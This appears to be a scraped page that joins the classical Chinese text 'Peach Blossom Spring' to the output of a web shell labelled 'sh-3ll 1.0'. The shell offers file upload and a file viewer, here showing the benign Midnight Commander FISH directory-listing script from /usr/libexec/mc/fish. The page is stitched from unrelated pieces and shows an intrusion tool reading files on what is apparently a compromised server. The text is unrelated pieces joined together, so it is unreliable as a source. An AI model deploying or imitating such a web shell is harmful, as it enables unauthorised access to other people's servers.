晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/thread-self/root/usr/libexec/mc/fish/
Upload File :
Current File : //proc/thread-self/root/usr/libexec/mc/fish/ls
#LIST /${FISH_DIR}
LC_TIME=C
export LC_TIME
perl_res="1"
fish_list_lsq ()
{
FISH_DIR="$1"
ls -Qlan "${FISH_DIR}" 2>/dev/null | grep '^[^cbt]' | (
while read p l u g s m d y n; do
    echo "P$p $u.$g"
    echo "S$s"
    echo "d$m $d $y"
    echo ":$n"
    echo
done
)

ls -Qlan "${FISH_DIR}" 2>/dev/null | grep '^[cb]' | (
while read p l u g a i m d y n; do
    echo "P$p $u.$g"
    echo "E$a$i"
    echo "d$m $d $y"
    echo ":$n"
    echo
done
)
echo '### 200'
}

fish_list_sed ()
{
FISH_DIR="$1"
ls -lan "${FISH_DIR}" 2>/dev/null | grep '^[^cbt]' | (
while read p l u g s rec; do
    if [ -n "$g" ]; then
        if [ -n "$FISH_HAVE_DATE_MDYT" ]; then
            filename=`echo "$rec"| sed 's/[^[:space:]]\+ \+[^[:space:]]\+ \+[^[:space:]]\+ //'`
            filedate=`echo "$rec"| sed 's/\([^[:space:]]\+ \+[^[:space:]]\+ \+[^[:space:]]\+\) .*/\1/'`
        else
            filename=`echo "$rec"| sed 's/[^[:space:]]\+ \+[^[:space:]]\+ //'`
            filedate=`echo "$rec"| sed 's/\([^[:space:]]\+ \+[^[:space:]]\+\) .*/\1/'`
        fi
        pfile=\"`echo "$filename" | sed -e 's#^\(.*\) -> \(.*\)#\1" -> "\2#'`\"
        echo "P$p $u.$g"
        echo "S$s"
        if [ -n "$FISH_HAVE_DATE_MDYT" ]; then
            echo "d$filedate"
        else
            echo "D$filedate"
        fi
        echo ":$pfile"
        echo
    fi
done
)
ls -lan "${FISH_DIR}" 2>/dev/null | grep '^[cb]' | (
while read p l u g a i rec; do
    if [ -n "$g" ]; then
        if [ -n "$FISH_HAVE_DATE_MDYT" ]; then
            filename=`echo "$rec"| sed 's/[^[:space:]]\+ \+[^[:space:]]\+ \+[^[:space:]]\+ //'`
            filedate=`echo "$rec"| sed 's/\([^[:space:]]\+ \+[^[:space:]]\+ \+[^[:space:]]\+\) .*/\1/'`
        else
            filename=`echo "$rec"| sed 's/[^[:space:]]\+ \+[^[:space:]]\+ //'`
            filedate=`echo "$rec"| sed 's/\([^[:space:]]\+ \+[^[:space:]]\+\) .*/\1/'`
        fi
        pfile=\"`echo "$filename" | sed -e 's#^\(.*\) -> \(.*\)#\1" -> "\2#'`\"
        echo "P$p $u.$g"
        echo "E$a$i"
        if [ -n "$FISH_HAVE_DATE_MDYT" ]; then
            echo "d$filedate"
        else
            echo "D$filedate"
        fi
        echo ":$pfile"
        echo
    fi
done
)
echo '### 200'
}

fish_list_poor_ls ()
{
FISH_DIR="$1"
ls -lan "${FISH_DIR}" 2>/dev/null | grep '^[^cbt]' | (
while read p l u g s m d y n n2 n3; do
    if [ -n "$g" ]; then
        if [ "$m" = "0" ]; then
            s=$d; m=$y; d=$n; y=$n2; n=$n3
        else
            n=$n" "$n2" "$n3
        fi
        echo "P$p $u $g"
        echo "S$s"
        echo "d$m $d $y"
        echo ":"$n
        echo
    fi
done
)
ls -lan "${FISH_DIR}" 2>/dev/null | grep '^[cb]' | (
while read p l u g a i m d y n n2 n3; do
    if [ -n "$g" ]; then
        if [ "$a" = "0" ]; then
            a=$m; i=$d; m=$y; d=$n; y=$n2; n=$n3
        else
            n=$n" "$n2" "$n3
        fi
        echo "P$p $u $g"
        echo "E$a$i"
        echo "d$m $d $y"
        echo ":"$n
        echo
    fi
done
)
echo '### 200'
}

fish_list_perl ()
{
FISH_DIR=$1
perl -e '
use strict;
use POSIX;
use Fcntl;
use POSIX ":fcntl_h"; #S_ISLNK was here until 5.6
import Fcntl ":mode" unless defined &S_ISLNK; #and is now here
my $dirname = $ARGV[0];
if (opendir (DIR, $dirname)) {
while((my $filename = readdir (DIR))){
    my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = lstat("$dirname/$filename");
    my $mloctime= strftime("%%m-%%d-%%Y %%H:%%M", localtime $mtime);
    my $strutils_shell_escape_regex = s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'\''"\ \\])/\\$1/g;
    my $e_filename = $filename;
    $e_filename =~ $strutils_shell_escape_regex;
    if (S_ISLNK ($mode)) {
        my $linkname = readlink ("$dirname/$filename");
        $linkname =~ $strutils_shell_escape_regex;
        printf("R%%o %%o $uid.$gid\nS$size\nd$mloctime\n:\"%%s\" -> \"%%s\"\n\n", S_IMODE($mode), S_IFMT($mode), $e_filename, $linkname);
    } elsif (S_ISCHR ($mode) || S_ISBLK ($mode)) {
        my $minor = $rdev %% 256;
        my $major = int( $rdev / 256 );
        printf("R%%o %%o $uid.$gid\nE$major,$minor\nd$mloctime\n:\"%%s\"\n\n", S_IMODE($mode), S_IFMT($mode), $e_filename);
    } else {
        printf("R%%o %%o $uid.$gid\nS$size\nd$mloctime\n:\"%%s\"\n\n", S_IMODE($mode), S_IFMT($mode), $e_filename);
    }
}
    printf("### 200\n");
    closedir(DIR);
} else {
    printf("### 500\n");
}
exit 0
' "/${FISH_DIR}"
perl_res=$?
}

if [ -n "${FISH_HAVE_PERL}" ]; then
    fish_list_perl "/${FISH_FILENAME}"
fi
if [ "${perl_res}" != "0" ]; then
    if [ -n "${FISH_HAVE_LSQ}" ]; then
        fish_list_lsq "/${FISH_FILENAME}"
    elif [ -n "${FISH_HAVE_SED}" ]; then
        fish_list_sed "/${FISH_FILENAME}"
    else
        fish_list_poor_ls "/${FISH_FILENAME}"
    fi
fi